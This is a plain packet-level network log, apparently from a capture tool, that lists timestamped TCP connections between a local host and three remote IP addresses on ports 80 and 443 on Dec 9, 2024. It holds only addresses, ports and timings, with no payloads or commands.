Dec 9, 2024 23:09:28.684032917 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.684930086 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.685002089 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.685046911 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.685962915 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.686008930 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.686072111 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.686117887 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.687000036 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.687064886 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.687096119 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.687140942 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.688055038 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.688100100 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.688138008 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.688185930 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.689146996 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.689194918 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.689331055 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.689382076 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.690165997 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.690215111 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.690268993 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.690315962 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.691196918 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.691241026 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.691296101 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.691344976 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.692270041 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.692321062 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.692353964 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.692401886 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.693301916 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.693353891 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.693383932 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.693433046 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.694365025 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.694411993 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.694494963 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.694540977 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.695420980 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.695468903 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.695499897 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.695545912 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.696434975 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.696477890 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.696482897 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.696527004 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.697483063 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.697550058 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.697568893 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.697611094 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.698558092 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.698632956 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.698692083 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.698743105 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.699585915 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.699635029 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.699702024 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.699748039 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.700625896 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.700675011 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.700731039 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.700778961 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.701694012 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.701740980 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.701740980 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.701792955 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.702719927 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.702768087 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.702836037 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.702883959 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.703778982 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.703826904 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.703900099 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.703949928 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.704881907 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.704927921 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.704941988 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.704991102 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.705877066 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.705924988 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.706010103 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.706058025 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.706970930 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.707017899 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.707072020 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.707118988 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.707956076 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.708023071 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.708059072 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.708102942 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.709095955 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.709146976 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.709228992 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.709274054 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.710083961 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.710131884 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.710160971 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.710208893 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.711114883 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.711162090 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.711222887 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.711271048 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.712152004 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.712196112 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.712282896 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.712330103 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.713223934 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.713277102 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.713306904 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.713352919 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.714266062 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.714313984 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.714370012 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.714420080 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.715302944 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.715352058 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.715483904 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.715529919 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.716370106 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.716415882 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.716484070 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.716531038 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.717385054 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.717436075 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.717489958 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.717536926 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.718451977 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.718516111 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.718579054 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.718626022 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.719579935 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.719588995 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.719633102 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.738600969 CET	443	49821	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:28.738775969 CET	49821	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:28.739924908 CET	49821	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:28.739933968 CET	443	49821	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:28.740134001 CET	443	49821	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:28.741354942 CET	49821	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:28.741463900 CET	49821	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:28.741471052 CET	443	49821	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:28.817975044 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.818043947 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.818062067 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.818073034 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.818206072 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.818269014 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.818269014 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:29.479221106 CET	443	49821	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:29.479286909 CET	443	49821	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:29.479406118 CET	49821	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:29.565268993 CET	443	49827	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:29.565342903 CET	49827	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:29.634299040 CET	49821	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:29.634325027 CET	443	49821	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:29.637830973 CET	49827	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:29.637845039 CET	443	49827	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:29.638046980 CET	443	49827	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:29.682893991 CET	49827	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:29.699641943 CET	49827	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:29.699672937 CET	49827	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:29.699703932 CET	443	49827	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:30.415108919 CET	443	49827	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:30.415190935 CET	443	49827	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:30.415236950 CET	49827	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:30.415447950 CET	49827	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:30.415457964 CET	443	49827	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:30.415467978 CET	49827	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:30.415472031 CET	443	49827	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:30.584177017 CET	49833	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:30.584192991 CET	443	49833	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:30.584389925 CET	49833	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:30.584783077 CET	49833	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:30.584795952 CET	443	49833	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:30.662401915 CET	49834	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:30.662427902 CET	443	49834	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:30.662496090 CET	49834	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:30.662851095 CET	49834	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:30.662862062 CET	443	49834	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:31.152712107 CET	49835	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:31.152713060 CET	49813	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:31.272273064 CET	80	49835	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:31.272353888 CET	49835	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:31.272506952 CET	80	49813	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:31.272536039 CET	49835	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:31.272571087 CET	49813	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:31.391973019 CET	80	49835	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:31.795110941 CET	443	49833	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:31.795277119 CET	49833	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:31.796650887 CET	49833	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:31.796664953 CET	443	49833	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:31.796901941 CET	443	49833	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:31.799591064 CET	49833	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:31.800426960 CET	49833	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:31.800457001 CET	443	49833	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:31.800592899 CET	49833	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:31.800626993 CET	443	49833	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:31.802083969 CET	49833	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:31.802128077 CET	443	49833	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:31.802323103 CET	49833	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:31.802351952 CET	443	49833	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:31.802519083 CET	49833	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:31.802551985 CET	443	49833	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:31.806153059 CET	49833	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:31.806179047 CET	443	49833	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:31.806185007 CET	49833	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:31.806200027 CET	443	49833	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:31.806444883 CET	49833	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:31.806468964 CET	443	49833	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:31.806487083 CET	49833	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:31.806607008 CET	49833	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:31.806638956 CET	49833	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:31.847337008 CET	443	49833	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:31.847544909 CET	49833	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:31.847577095 CET	443	49833	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:31.847593069 CET	49833	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:31.847611904 CET	443	49833	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:31.847629070 CET	49833	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:31.847640038 CET	443	49833	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:31.847712994 CET	49833	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:31.847728014 CET	443	49833	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:31.872956038 CET	443	49834	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:31.873064995 CET	49834	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:31.879566908 CET	49834	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:31.879579067 CET	443	49834	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:31.879775047 CET	443	49834	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:31.881095886 CET	49834	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:31.881179094 CET	49834	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:31.881201982 CET	443	49834	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:32.484150887 CET	443	49834	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:32.484199047 CET	443	49834	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:32.484309912 CET	443	49834	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:32.484340906 CET	443	49834	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:32.484380007 CET	443	49834	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:32.484493971 CET	49834	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:32.484504938 CET	443	49834	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:32.484548092 CET	49834	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:32.484663963 CET	443	49834	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:32.492463112 CET	443	49834	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:32.492520094 CET	49834	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:32.492527008 CET	443	49834	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:32.500737906 CET	443	49834	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:32.500782967 CET	49834	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:32.500791073 CET	443	49834	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:32.542290926 CET	49834	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:32.542298079 CET	443	49834	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:32.589160919 CET	49834	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:32.623694897 CET	80	49835	185.215.113.43	192.168.2.4
Dec 9, 2024 23:09:32.623756886 CET	49835	80	192.168.2.4	185.215.113.43
Dec 9, 2024 23:09:32.625741005 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:32.626204967 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:32.676297903 CET	443	49834	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:32.680105925 CET	443	49834	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:32.680141926 CET	443	49834	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:32.680190086 CET	49834	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:32.680197954 CET	443	49834	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:32.680241108 CET	443	49834	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:32.680243015 CET	49834	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:32.680290937 CET	49834	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:32.680505037 CET	49834	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:32.680511951 CET	443	49834	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:32.680533886 CET	49834	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:32.680538893 CET	443	49834	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:32.745520115 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:32.745532036 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:32.745590925 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:32.745609045 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:32.745805025 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:32.839057922 CET	49842	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:32.839072943 CET	443	49842	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:32.839159966 CET	49842	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:32.840384960 CET	49842	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:32.840398073 CET	443	49842	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:32.864964962 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.050009966 CET	443	49842	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:34.050106049 CET	49842	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:34.051356077 CET	49842	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:34.051367044 CET	443	49842	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:34.051570892 CET	443	49842	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:34.053108931 CET	49842	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:34.053266048 CET	49842	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:34.053291082 CET	443	49842	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:34.053349018 CET	49842	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:34.053358078 CET	443	49842	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:34.076092005 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.076122999 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.076165915 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.076208115 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.076731920 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.076776981 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.076832056 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.076842070 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.076874018 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.077644110 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.077708006 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.077723026 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.077778101 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.078088045 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.078147888 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.078212976 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.078243017 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.195509911 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.195576906 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.195645094 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.199712992 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.201445103 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.201457024 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.201504946 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.201522112 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.268914938 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.268932104 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.268968105 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.268985033 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.273036957 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.273509026 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.274538994 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.274590969 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.274631023 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.274677038 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.282984972 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.283051968 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.283097982 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.292210102 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.292269945 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.292318106 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.292356014 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.299758911 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.299806118 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.299892902 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.299933910 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.308959961 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.309020996 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.309103966 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.309149981 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.317224026 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.317332983 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:34.317521095 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:34.317622900 CET	49838	80	192.168.2.4	185.215.113.16
